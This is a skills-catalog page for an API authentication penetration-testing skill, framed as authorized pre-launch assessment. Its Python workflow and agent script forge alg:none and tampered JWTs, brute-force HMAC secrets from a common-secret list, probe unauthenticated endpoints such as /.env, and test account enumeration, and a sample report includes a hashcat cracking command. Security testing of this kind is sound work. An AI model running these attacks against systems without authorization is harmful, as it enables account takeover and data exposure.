
Testing Api Authentication Weaknesses
- 324 installs
- 27.3k repo stars
- Updated August 2, 2026
- mukul975/anthropic-cybersecurity-skills
Probe API auth for weak tokens, missing MFA, broken OAuth flows, session fixation, and credential brute-force gaps before production launch.
About
Guides systematic API authentication testing: validate JWT and API-key handling, stress OAuth and session flows, detect missing rate limits or MFA gaps, and document exploitable weaknesses with concrete remediation steps.
- Token validation tests
- OAuth flow review
- Session hijack checks
- Brute-force resistance
Testing Api Authentication Weaknesses by the numbers
- 324 all-time installs (skills.sh)
- +28 installs in the week ending Aug 4, 2026 (Skillselion tracking)
- Ranked #605 of 2,203 Security skills by installs in the Skillselion catalog
- Data as of Aug 5, 2026 (Skillselion catalog sync)
npx skills add https://github.com/mukul975/anthropic-cybersecurity-skills --skill testing-api-authentication-weaknessesAdd your badge
Show developers this skill is listed on Skillselion. Paste this into your README.
| Installs | 324 |
|---|---|
| repo stars | ★ 27.3k |
| Last updated | August 2, 2026 |
| Repository | mukul975/anthropic-cybersecurity-skills ↗ |
What it does
Probe API auth for weak tokens, missing MFA, broken OAuth flows, session fixation, and credential brute-force gaps before production launch.
Files
Testing API Authentication Weaknesses
When to Use
- Assessing REST API authentication mechanisms for bypass vulnerabilities before production deployment
- Testing JWT token implementation for common weaknesses (none algorithm, key confusion, missing expiration)
- Evaluating whether all API endpoints enforce authentication or if some are unintentionally exposed
- Testing API key generation, storage, and rotation mechanisms for predictability or leakage
- Validating session management including token expiration, revocation, and refresh token security
Do not use without written authorization. Authentication testing involves attempting to bypass security controls.
Prerequisites
- Written authorization specifying target API and authentication mechanisms in scope
- Valid test credentials for at least two user roles (regular user, admin)
- Burp Suite Professional with JWT-related extensions (JSON Web Tokens, JWT Editor)
- Python 3.10+ with
requests,PyJWT, andjwtlibraries - Wordlists for credential testing (SecLists authentication wordlists)
- API documentation or OpenAPI specification
Workflow
Step 1: Authentication Mechanism Identification
import requests
import json
BASE_URL = "https://target-api.example.com/api/v1"
# Probe the API to identify authentication mechanisms
auth_indicators = {
"jwt_bearer": False,
"api_key_header": False,
"api_key_query": False,
"basic_auth": False,
"oauth2": False,
"session_cookie": False,
"custom_token": False,
}
# Test 1: Check unauthenticated access
resp = requests.get(f"{BASE_URL}/users/me")
print(f"Unauthenticated: {resp.status_code}")
if resp.status_code == 200:
print("[CRITICAL] Endpoint accessible without authentication")
# Test 2: Check WWW-Authenticate header
if "WWW-Authenticate" in resp.headers:
scheme = resp.headers["WWW-Authenticate"]
print(f"Auth scheme advertised: {scheme}")
if "Bearer" in scheme:
auth_indicators["jwt_bearer"] = True
elif "Basic" in scheme:
auth_indicators["basic_auth"] = True
# Test 3: Login and examine tokens
login_resp = requests.post(f"{BASE_URL}/auth/login",
json={"username": "testuser@example.com", "password": "TestPass123!"})
if login_resp.status_code == 200:
login_data = login_resp.json()
# Check for JWT tokens
for key in ["token", "access_token", "jwt", "id_token"]:
if key in login_data:
token = login_data[key]
if token.count('.') == 2:
auth_indicators["jwt_bearer"] = True
print(f"JWT found in response field: {key}")
# Check for refresh tokens
for key in ["refresh_token", "refresh"]:
if key in login_data:
print(f"Refresh token found in field: {key}")
# Check for session cookies
for cookie in login_resp.cookies:
print(f"Cookie set: {cookie.name} = {cookie.value[:20]}...")
if "session" in cookie.name.lower():
auth_indicators["session_cookie"] = True
print(f"\nAuthentication mechanisms detected: {[k for k,v in auth_indicators.items() if v]}")Step 2: Unauthenticated Endpoint Discovery
# Test all endpoints without authentication
endpoints = [
("GET", "/users"),
("GET", "/users/me"),
("GET", "/users/1"),
("GET", "/admin/users"),
("GET", "/admin/settings"),
("GET", "/health"),
("GET", "/metrics"),
("GET", "/debug"),
("GET", "/actuator"),
("GET", "/actuator/env"),
("GET", "/swagger.json"),
("GET", "/api-docs"),
("GET", "/graphql"),
("POST", "/graphql"),
("GET", "/config"),
("GET", "/internal/status"),
("GET", "/.env"),
("GET", "/status"),
("GET", "/info"),
("GET", "/version"),
]
print("Unauthenticated Endpoint Scan:")
for method, path in endpoints:
try:
resp = requests.request(method, f"{BASE_URL}{path}", timeout=5)
if resp.status_code not in (401, 403):
content_preview = resp.text[:100] if resp.text else "empty"
print(f" [OPEN] {method} {path} -> {resp.status_code}: {content_preview}")
except requests.exceptions.RequestException:
passStep 3: JWT Token Analysis
import base64
import json
import hmac
import hashlib
def decode_jwt_parts(token):
"""Decode JWT header and payload without verification."""
parts = token.split('.')
if len(parts) != 3:
return None, None
def pad_base64(s):
return s + '=' * (4 - len(s) % 4)
header = json.loads(base64.urlsafe_b64decode(pad_base64(parts[0])))
payload = json.loads(base64.urlsafe_b64decode(pad_base64(parts[1])))
return header, payload
# Analyze the JWT token
token = login_data.get("access_token", "")
header, payload = decode_jwt_parts(token)
print(f"JWT Header: {json.dumps(header, indent=2)}")
print(f"JWT Payload: {json.dumps(payload, indent=2)}")
# Security checks
issues = []
# Check 1: Algorithm
if header.get("alg") == "none":
issues.append("CRITICAL: Algorithm set to 'none' - token signature not verified")
if header.get("alg") in ("HS256", "HS384", "HS512"):
issues.append("INFO: Symmetric algorithm used - check for weak/default secrets")
# Check 2: Expiration
if "exp" not in payload:
issues.append("HIGH: No expiration claim (exp) - token never expires")
else:
import time
exp_time = payload["exp"]
ttl = exp_time - time.time()
if ttl > 86400:
issues.append(f"MEDIUM: Token TTL is {ttl/3600:.0f} hours - excessively long")
# Check 3: Sensitive data in payload
sensitive_fields = ["password", "ssn", "credit_card", "secret", "private_key"]
for field in sensitive_fields:
if field in payload:
issues.append(f"HIGH: Sensitive field '{field}' in JWT payload")
# Check 4: Missing claims
expected_claims = ["iss", "aud", "exp", "iat", "sub"]
missing = [c for c in expected_claims if c not in payload]
if missing:
issues.append(f"MEDIUM: Missing standard claims: {missing}")
# Check 5: Key ID
if "kid" in header:
kid = header["kid"]
# Test for path traversal in kid
issues.append(f"INFO: Key ID (kid) present: {kid} - test for injection")
for issue in issues:
print(f" [{issue.split(':')[0]}] {issue}")Step 4: JWT Manipulation Attacks
# Attack 1: Remove signature (alg: none)
def forge_none_algorithm(token):
"""Create a token with alg:none to bypass signature verification."""
parts = token.split('.')
header = json.loads(base64.urlsafe_b64decode(parts[0] + '=='))
header['alg'] = 'none'
new_header = base64.urlsafe_b64encode(
json.dumps(header).encode()).decode().rstrip('=')
# Variations of the none algorithm
return [
f"{new_header}.{parts[1]}.",
f"{new_header}.{parts[1]}.{parts[2]}",
f"{new_header}.{parts[1]}.e30",
]
# Attack 2: Modify claims without re-signing
def forge_payload(token, modifications):
"""Modify payload claims and test if server validates signature."""
parts = token.split('.')
payload = json.loads(base64.urlsafe_b64decode(parts[0] + '=='))
payload_data = json.loads(base64.urlsafe_b64decode(parts[1] + '=='))
payload_data.update(modifications)
new_payload = base64.urlsafe_b64encode(
json.dumps(payload_data).encode()).decode().rstrip('=')
return f"{parts[0]}.{new_payload}.{parts[2]}"
# Attack 3: Brute force weak HMAC secrets
COMMON_JWT_SECRETS = [
"secret", "password", "123456", "jwt_secret", "supersecret",
"key", "test", "admin", "changeme", "default",
"your-256-bit-secret", "my-secret-key", "jwt-secret",
"s3cr3t", "secret123", "mysecretkey", "apisecret",
]
def brute_force_jwt_secret(token):
"""Try common secrets against HMAC-signed JWTs."""
parts = token.split('.')
header = json.loads(base64.urlsafe_b64decode(parts[0] + '=='))
if header.get('alg') not in ('HS256', 'HS384', 'HS512'):
print("Not an HMAC token, skipping brute force")
return None
signing_input = f"{parts[0]}.{parts[1]}".encode()
signature = parts[2]
hash_func = {
'HS256': hashlib.sha256,
'HS384': hashlib.sha384,
'HS512': hashlib.sha512
}[header['alg']]
for secret in COMMON_JWT_SECRETS:
expected_sig = base64.urlsafe_b64encode(
hmac.new(secret.encode(), signing_input, hash_func).digest()
).decode().rstrip('=')
if expected_sig == signature:
print(f"[CRITICAL] JWT secret found: '{secret}'")
return secret
print("No common secrets matched - consider using hashcat/john for extended brute force")
return None
# Test all attacks
none_tokens = forge_none_algorithm(token)
for none_token in none_tokens:
resp = requests.get(f"{BASE_URL}/users/me",
headers={"Authorization": f"Bearer {none_token}"})
if resp.status_code == 200:
print(f"[CRITICAL] alg:none bypass successful")
# Test privilege escalation via claim modification
admin_token = forge_payload(token, {"role": "admin", "is_admin": True})
resp = requests.get(f"{BASE_URL}/admin/users",
headers={"Authorization": f"Bearer {admin_token}"})
if resp.status_code == 200:
print("[CRITICAL] JWT claim modification accepted without signature validation")
brute_force_jwt_secret(token)Step 5: Token Lifecycle Testing
# Test 1: Token reuse after logout
logout_resp = requests.post(f"{BASE_URL}/auth/logout",
headers={"Authorization": f"Bearer {token}"})
print(f"Logout: {logout_resp.status_code}")
# Try to use the token after logout
post_logout_resp = requests.get(f"{BASE_URL}/users/me",
headers={"Authorization": f"Bearer {token}"})
if post_logout_resp.status_code == 200:
print("[HIGH] Token still valid after logout - no server-side revocation")
# Test 2: Token reuse after password change
# (requires changing password and then testing old token)
# Test 3: Refresh token rotation
refresh_token = login_data.get("refresh_token")
if refresh_token:
# Use refresh token
refresh_resp = requests.post(f"{BASE_URL}/auth/refresh",
json={"refresh_token": refresh_token})
new_tokens = refresh_resp.json()
# Try to reuse the same refresh token (should fail if rotation is implemented)
reuse_resp = requests.post(f"{BASE_URL}/auth/refresh",
json={"refresh_token": refresh_token})
if reuse_resp.status_code == 200:
print("[HIGH] Refresh token reuse allowed - no rotation implemented")
# Test 4: Token in URL (leakage risk)
resp = requests.get(f"{BASE_URL}/users/me?token={token}")
if resp.status_code == 200:
print("[MEDIUM] Token accepted in query parameter - may leak in logs/referrer")Step 6: Password Policy and Credential Testing
# Test password policy enforcement on registration/change endpoints
weak_passwords = [
"a", # Too short
"password", # Common password
"12345678", # Numeric only
"abcdefgh", # Alpha only, no complexity
"Password1", # Meets basic complexity but is common
"", # Empty
" ", # Whitespace
]
for pwd in weak_passwords:
resp = requests.post(f"{BASE_URL}/auth/register",
json={"email": f"test_{hash(pwd)%9999}@example.com",
"password": pwd, "name": "Test User"})
if resp.status_code in (200, 201):
print(f"[WEAK POLICY] Password accepted: '{pwd}'")
# Test account enumeration via login response differences
valid_email = "testuser@example.com"
invalid_email = "nonexistent_user_xyz@example.com"
resp_valid = requests.post(f"{BASE_URL}/auth/login",
json={"username": valid_email, "password": "wrongpassword"})
resp_invalid = requests.post(f"{BASE_URL}/auth/login",
json={"username": invalid_email, "password": "wrongpassword"})
if resp_valid.text != resp_invalid.text or resp_valid.status_code != resp_invalid.status_code:
print(f"[MEDIUM] Account enumeration possible:")
print(f" Valid user: {resp_valid.status_code} - {resp_valid.text[:100]}")
print(f" Invalid user: {resp_invalid.status_code} - {resp_invalid.text[:100]}")Key Concepts
| Term | Definition |
|---|---|
| Broken Authentication | OWASP API2:2023 - weaknesses in authentication mechanisms that allow attackers to assume identities of legitimate users |
| JWT (JSON Web Token) | Self-contained token format with header.payload.signature structure, used for stateless API authentication |
| Token Revocation | Server-side mechanism to invalidate tokens before their expiration, critical for logout and password change |
| Credential Stuffing | Automated attack using leaked username/password pairs against authentication endpoints |
| Account Enumeration | Determining valid usernames through different error messages or response times for valid vs invalid accounts |
| Refresh Token Rotation | Security practice where each use of a refresh token generates a new one, preventing token reuse attacks |
Tools & Systems
- Burp Suite JWT Editor: Extension for decoding, editing, and re-signing JWT tokens with various attack modes
- jwt_tool: Python tool for JWT testing with 12+ attack modes including alg:none, key confusion, and JWKS spoofing
- hashcat: GPU-accelerated password cracker supporting JWT HMAC secret brute-forcing (mode 16500)
- Hydra: Network login brute-forcer supporting HTTP form-based and API authentication testing
- Nuclei: Template-based scanner with authentication bypass detection templates
Common Scenarios
Scenario: SaaS Platform API Authentication Assessment
Context: A SaaS platform uses JWT tokens for API authentication. The JWT is issued upon login and used for all subsequent API calls. A refresh token mechanism is also implemented.
Approach: 1. Authenticate and capture the JWT: algorithm is HS256, expiration is 7 days, payload contains user role 2. Test alg:none bypass: server rejects the token (secure) 3. Brute force the HMAC secret: discover the secret is "company-jwt-secret-2023" (found using hashcat with custom wordlist) 4. Forge a JWT with admin role using the discovered secret: gain admin access to all endpoints 5. Test token revocation: tokens remain valid after logout and password change (no blacklist) 6. Test refresh token: refresh token has no expiration and can be reused indefinitely 7. Find that the password reset endpoint returns different messages for valid vs invalid emails 8. Discover that the /health and /metrics endpoints are accessible without authentication
Pitfalls:
- Only testing the login endpoint and missing authentication weaknesses in password reset, MFA, and token refresh flows
- Not checking if the JWT secret is the same across all environments (dev, staging, production)
- Ignoring the token lifetime: a 7-day JWT with no revocation means a stolen token is valid for a week
- Not testing for token leakage in server logs, URL parameters, or error messages
Output Format
## Finding: JWT HMAC Secret Brute-Forceable and Token Not Revocable
**ID**: API-AUTH-001
**Severity**: Critical (CVSS 9.1)
**OWASP API**: API2:2023 - Broken Authentication
**Affected Components**:
- POST /api/v1/auth/login (token issuance)
- All authenticated endpoints (token validation)
- POST /api/v1/auth/logout (ineffective)
**Description**:
The API uses HS256-signed JWT tokens with a brute-forceable secret
("company-jwt-secret-2023"). An attacker who discovers this secret can
forge tokens for any user with any role, including admin. Additionally,
tokens are not revocable - logout does not invalidate the token server-side,
and the 7-day expiration means stolen tokens remain valid for extended periods.
**Attack Chain**:
1. Capture any valid JWT from authenticated session
2. Brute force the HMAC secret using hashcat: hashcat -a 0 -m 16500 jwt.txt wordlist.txt
3. Secret recovered in 3 minutes: "company-jwt-secret-2023"
4. Forge admin JWT: modify "role" claim to "admin", re-sign with discovered secret
5. Access admin endpoints: GET /api/v1/admin/users returns all 50,000 user accounts
**Remediation**:
1. Replace HS256 with RS256 using a 2048-bit RSA key pair
2. Use a cryptographically random secret of at least 256 bits if HMAC must be used
3. Implement token blacklisting using Redis for logout and password change events
4. Reduce token TTL to 15 minutes with refresh token rotation
5. Add `iss` and `aud` claims validation to prevent token misuse across services
Apache License
Version 2.0, January 2004
http://www.apache.org/licenses/
TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION
1. Definitions.
"License" shall mean the terms and conditions for use, reproduction,
and distribution as defined by Sections 1 through 9 of this document.
"Licensor" shall mean the copyright owner or entity authorized by
the copyright owner that is granting the License.
"Legal Entity" shall mean the union of the acting entity and all
other entities that control, are controlled by, or are under common
control with that entity. For the purposes of this definition,
"control" means (i) the power, direct or indirect, to cause the
direction or management of such entity, whether by contract or
otherwise, or (ii) ownership of fifty percent (50%) or more of the
outstanding shares, or (iii) beneficial ownership of such entity.
"You" (or "Your") shall mean an individual or Legal Entity
exercising permissions granted by this License.
"Source" form shall mean the preferred form for making modifications,
including but not limited to software source code, documentation
source, and configuration files.
"Object" form shall mean any form resulting from mechanical
transformation or translation of a Source form, including but
not limited to compiled object code, generated documentation,
and conversions to other media types.
"Work" shall mean the work of authorship, whether in Source or
Object form, made available under the License, as indicated by a
copyright notice that is included in or attached to the work
(an example is provided in the Appendix below).
"Derivative Works" shall mean any work, whether in Source or Object
form, that is based on (or derived from) the Work and for which the
editorial revisions, annotations, elaborations, or other modifications
represent, as a whole, an original work of authorship. For the purposes
of this License, Derivative Works shall not include works that remain
separable from, or merely link (or bind by name) to the interfaces of,
the Work and Derivative Works thereof.
"Contribution" shall mean any work of authorship, including
the original version of the Work and any modifications or additions
to that Work or Derivative Works thereof, that is intentionally
submitted to the Licensor for inclusion in the Work by the copyright owner
or by an individual or Legal Entity authorized to submit on behalf of
the copyright owner. For the purposes of this definition, "submitted"
means any form of electronic, verbal, or written communication sent
to the Licensor or its representatives, including but not limited to
communication on electronic mailing lists, source code control systems,
and issue tracking systems that are managed by, or on behalf of, the
Licensor for the purpose of discussing and improving the Work, but
excluding communication that is conspicuously marked or otherwise
designated in writing by the copyright owner as "Not a Contribution."
"Contributor" shall mean Licensor and any individual or Legal Entity
on behalf of whom a Contribution has been received by the Licensor and
subsequently incorporated within the Work.
2. Grant of Copyright License. Subject to the terms and conditions of
this License, each Contributor hereby grants to You a perpetual,
worldwide, non-exclusive, no-charge, royalty-free, irrevocable
copyright license to reproduce, prepare Derivative Works of,
publicly display, publicly perform, sublicense, and distribute the
Work and such Derivative Works in Source or Object form.
3. Grant of Patent License. Subject to the terms and conditions of
this License, each Contributor hereby grants to You a perpetual,
worldwide, non-exclusive, no-charge, royalty-free, irrevocable
(except as stated in this section) patent license to make, have made,
use, offer to sell, sell, import, and otherwise transfer the Work,
where such license applies only to those patent claims licensable
by such Contributor that are necessarily infringed by their
Contribution(s) alone or by combination of their Contribution(s)
with the Work to which such Contribution(s) was submitted. If You
institute patent litigation against any entity (including a
cross-claim or counterclaim in a lawsuit) alleging that the Work
or a Contribution incorporated within the Work constitutes direct
or contributory patent infringement, then any patent licenses
granted to You under this License for that Work shall terminate
as of the date such litigation is filed.
4. Redistribution. You may reproduce and distribute copies of the
Work or Derivative Works thereof in any medium, with or without
modifications, and in Source or Object form, provided that You
meet the following conditions:
(a) You must give any other recipients of the Work or
Derivative Works a copy of this License; and
(b) You must cause any modified files to carry prominent notices
stating that You changed the files; and
(c) You must retain, in the Source form of any Derivative Works
that You distribute, all copyright, patent, trademark, and
attribution notices from the Source form of the Work,
excluding those notices that do not pertain to any part of
the Derivative Works; and
(d) If the Work includes a "NOTICE" text file as part of its
distribution, then any Derivative Works that You distribute must
include a readable copy of the attribution notices contained
within such NOTICE file, excluding any notices that do not
pertain to any part of the Derivative Works, in at least one
of the following places: within a NOTICE text file distributed
as part of the Derivative Works; within the Source form or
documentation, if provided along with the Derivative Works; or,
within a display generated by the Derivative Works, if and
wherever such third-party notices normally appear. The contents
of the NOTICE file are for informational purposes only and
do not modify the License. You may add Your own attribution
notices within Derivative Works that You distribute, alongside
or as an addendum to the NOTICE text from the Work, provided
that such additional attribution notices cannot be construed
as modifying the License.
You may add Your own copyright statement to Your modifications and
may provide additional or different license terms and conditions
for use, reproduction, or distribution of Your modifications, or
for any such Derivative Works as a whole, provided Your use,
reproduction, and distribution of the Work otherwise complies with
the conditions stated in this License.
5. Submission of Contributions. Unless You explicitly state otherwise,
any Contribution intentionally submitted for inclusion in the Work
by You to the Licensor shall be under the terms and conditions of
this License, without any additional terms or conditions.
Notwithstanding the above, nothing herein shall supersede or modify
the terms of any separate license agreement you may have executed
with Licensor regarding such Contributions.
6. Trademarks. This License does not grant permission to use the trade
names, trademarks, service marks, or product names of the Licensor,
except as required for reasonable and customary use in describing the
origin of the Work and reproducing the content of the NOTICE file.
7. Disclaimer of Warranty. Unless required by applicable law or
agreed to in writing, Licensor provides the Work (and each
Contributor provides its Contributions) on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
implied, including, without limitation, any warranties or conditions
of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A
PARTICULAR PURPOSE. You are solely responsible for determining the
appropriateness of using or redistributing the Work and assume any
risks associated with Your exercise of permissions under this License.
8. Limitation of Liability. In no event and under no legal theory,
whether in tort (including negligence), contract, or otherwise,
unless required by applicable law (such as deliberate and grossly
negligent acts) or agreed to in writing, shall any Contributor be
liable to You for damages, including any direct, indirect, special,
incidental, or consequential damages of any character arising as a
result of this License or out of the use or inability to use the
Work (including but not limited to damages for loss of goodwill,
work stoppage, computer failure or malfunction, or any and all
other commercial damages or losses), even if such Contributor
has been advised of the possibility of such damages.
9. Accepting Warranty or Additional Liability. While redistributing
the Work or Derivative Works thereof, You may choose to offer,
and charge a fee for, acceptance of support, warranty, indemnity,
or other liability obligations and/or rights consistent with this
License. However, in accepting such obligations, You may act only
on Your own behalf and on Your sole responsibility, not on behalf
of any other Contributor, and only if You agree to indemnify,
defend, and hold each Contributor harmless for any liability
incurred by, or claims asserted against, such Contributor by reason
of your accepting any such warranty or additional liability.
END OF TERMS AND CONDITIONS
APPENDIX: How to apply the Apache License to your work.
To apply the Apache License to your work, attach the following
boilerplate notice, with the fields enclosed by brackets "[]"
replaced with your own identifying information. (Don't include
the brackets!) The text should be enclosed in the appropriate
comment syntax for the file format. Please do not remove or change
the license header comment from a contributed file except when
necessary.
Copyright 2026 mukul975
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
API Reference: Testing API Authentication Weaknesses
JWT Security Checks
| Check | Severity | Description |
|---|---|---|
| alg:none | Critical | Signature verification bypassed |
| Weak HMAC secret | Critical | Brute-forceable signing key |
| No exp claim | High | Token never expires |
| Long TTL (>24h) | Medium | Extended token validity |
| Sensitive data in payload | High | PII in JWT claims |
| Missing iss/aud claims | Medium | Token scope ambiguity |
OWASP API2:2023 Test Points
| Test | Category |
|---|---|
| Unauthenticated endpoint access | Missing auth middleware |
| JWT alg:none bypass | Broken token validation |
| JWT secret brute-force | Weak cryptographic key |
| Token reuse after logout | Missing revocation |
| Refresh token rotation | Session management |
| Account enumeration | Information disclosure |
| Password policy bypass | Weak credential controls |
Common JWT HMAC Secrets
| Secret | Type |
|---|---|
secret | Default |
your-256-bit-secret | JWT.io example |
jwt_secret | Convention |
changeme | Placeholder |
JWT Attack Tools
| Tool | Purpose |
|---|---|
| jwt_tool | JWT testing with 12+ attack modes |
| hashcat -m 16500 | GPU JWT secret brute-force |
| Burp JWT Editor | Interactive JWT manipulation |
| Nuclei | Auth bypass templates |
Python Libraries
| Library | Version | Purpose |
|---|---|---|
requests | >=2.28 | HTTP API calls |
base64 | stdlib | JWT decoding |
hmac | stdlib | HMAC signature testing |
hashlib | stdlib | Hash functions |
References
- OWASP API Security Top 10: https://owasp.org/API-Security/
- JWT Best Practices RFC 8725: https://www.rfc-editor.org/rfc/rfc8725
- jwt_tool: https://github.com/ticarpi/jwt_tool
#!/usr/bin/env python3
"""Agent for testing API authentication weaknesses.
Tests JWT implementation flaws, unauthenticated endpoint access,
token lifecycle issues, password policy enforcement, and credential
brute-force resistance aligned with OWASP API2:2023.
"""
import json
import base64
import hmac
import hashlib
import sys
import time
from pathlib import Path
from datetime import datetime
try:
import requests
except ImportError:
requests = None
COMMON_JWT_SECRETS = [
"secret", "password", "123456", "jwt_secret", "supersecret",
"key", "test", "admin", "changeme", "default",
"your-256-bit-secret", "my-secret-key", "jwt-secret",
"s3cr3t", "secret123", "mysecretkey", "apisecret",
]
class APIAuthTestAgent:
"""Tests API authentication mechanisms for weaknesses."""
def __init__(self, base_url, output_dir="./api_auth_test"):
self.base_url = base_url.rstrip("/")
self.output_dir = Path(output_dir)
self.output_dir.mkdir(parents=True, exist_ok=True)
self.findings = []
def _get(self, path, headers=None, timeout=10):
if not requests:
return None
try:
return requests.get(f"{self.base_url}{path}", headers=headers, timeout=timeout)
except requests.RequestException:
return None
def _post(self, path, data=None, headers=None, timeout=10):
if not requests:
return None
try:
return requests.post(f"{self.base_url}{path}", json=data,
headers=headers, timeout=timeout)
except requests.RequestException:
return None
def decode_jwt(self, token):
"""Decode JWT header and payload without verification."""
parts = token.split(".")
if len(parts) != 3:
return None, None
def pad(s):
return s + "=" * (4 - len(s) % 4)
try:
header = json.loads(base64.urlsafe_b64decode(pad(parts[0])))
payload = json.loads(base64.urlsafe_b64decode(pad(parts[1])))
return header, payload
except Exception:
return None, None
def test_unauthenticated_endpoints(self, paths=None):
"""Test endpoints for missing authentication."""
default_paths = [
"/users", "/users/me", "/admin/users", "/admin/settings",
"/health", "/metrics", "/debug", "/actuator", "/actuator/env",
"/swagger.json", "/api-docs", "/graphql", "/config", "/status",
]
open_endpoints = []
for path in (paths or default_paths):
resp = self._get(path)
if resp and resp.status_code not in (401, 403, 404, 405):
open_endpoints.append({
"path": path,
"status": resp.status_code,
"preview": resp.text[:100],
})
if path not in ("/health", "/status"):
self.findings.append({
"severity": "high" if "/admin" in path else "medium",
"type": "Unauthenticated Access",
"detail": f"{path} accessible without auth (HTTP {resp.status_code})",
})
return open_endpoints
def analyze_jwt(self, token):
"""Analyze JWT token for security issues."""
header, payload = self.decode_jwt(token)
if not header:
return {"error": "Invalid JWT"}
issues = []
if header.get("alg") == "none":
issues.append({"severity": "critical", "issue": "Algorithm set to 'none'"})
if header.get("alg") in ("HS256", "HS384", "HS512"):
issues.append({"severity": "info", "issue": "Symmetric HMAC algorithm - check for weak secrets"})
if "exp" not in payload:
issues.append({"severity": "high", "issue": "No expiration claim"})
elif payload["exp"] - time.time() > 86400:
ttl_hours = (payload["exp"] - time.time()) / 3600
issues.append({"severity": "medium", "issue": f"Long TTL: {ttl_hours:.0f} hours"})
sensitive = ["password", "ssn", "credit_card", "secret", "private_key"]
for field in sensitive:
if field in payload:
issues.append({"severity": "high", "issue": f"Sensitive field '{field}' in payload"})
missing_claims = [c for c in ["iss", "aud", "exp", "iat", "sub"] if c not in payload]
if missing_claims:
issues.append({"severity": "medium", "issue": f"Missing claims: {missing_claims}"})
for issue in issues:
self.findings.append({"severity": issue["severity"], "type": "JWT Issue", "detail": issue["issue"]})
return {"header": header, "payload": payload, "issues": issues}
def brute_force_jwt_secret(self, token):
"""Test JWT against common HMAC secrets."""
header, _ = self.decode_jwt(token)
if not header or header.get("alg") not in ("HS256", "HS384", "HS512"):
return None
parts = token.split(".")
signing_input = f"{parts[0]}.{parts[1]}".encode()
signature = parts[2]
alg_map = {"HS256": hashlib.sha256, "HS384": hashlib.sha384, "HS512": hashlib.sha512}
hash_func = alg_map[header["alg"]]
for secret in COMMON_JWT_SECRETS:
expected = base64.urlsafe_b64encode(
hmac.new(secret.encode(), signing_input, hash_func).digest()
).decode().rstrip("=")
if expected == signature:
self.findings.append({
"severity": "critical",
"type": "Weak JWT Secret",
"detail": f"JWT secret brute-forced: '{secret}'",
})
return secret
return None
def test_token_after_logout(self, token, logout_path="/auth/logout"):
"""Test if token remains valid after logout."""
headers = {"Authorization": f"Bearer {token}"}
self._post(logout_path, headers=headers)
resp = self._get("/users/me", headers=headers)
if resp and resp.status_code == 200:
self.findings.append({
"severity": "high",
"type": "Token Not Revoked",
"detail": "Token valid after logout - no server-side revocation",
})
return True
return False
def test_account_enumeration(self, login_path="/auth/login"):
"""Check for account enumeration via login response differences."""
valid_resp = self._post(login_path,
{"username": "admin@example.com", "password": "wrong"})
invalid_resp = self._post(login_path,
{"username": "nonexistent_xyz@example.com", "password": "wrong"})
if valid_resp and invalid_resp:
if valid_resp.text != invalid_resp.text or valid_resp.status_code != invalid_resp.status_code:
self.findings.append({
"severity": "medium",
"type": "Account Enumeration",
"detail": "Different responses for valid vs invalid accounts",
})
return True
return False
def generate_report(self, token=None):
unauth = self.test_unauthenticated_endpoints()
jwt_analysis = None
secret_found = None
if token:
jwt_analysis = self.analyze_jwt(token)
secret_found = self.brute_force_jwt_secret(token)
report = {
"report_date": datetime.utcnow().isoformat(),
"base_url": self.base_url,
"unauthenticated_endpoints": unauth,
"jwt_analysis": jwt_analysis,
"secret_found": bool(secret_found),
"findings": self.findings,
"total_findings": len(self.findings),
}
out = self.output_dir / "api_auth_report.json"
with open(out, "w") as f:
json.dump(report, f, indent=2)
print(json.dumps(report, indent=2))
return report
def main():
if len(sys.argv) < 2:
print("Usage: agent.py <base_url> [--token <jwt>]")
sys.exit(1)
url = sys.argv[1]
token = None
if "--token" in sys.argv:
token = sys.argv[sys.argv.index("--token") + 1]
agent = APIAuthTestAgent(url)
agent.generate_report(token)
if __name__ == "__main__":
main()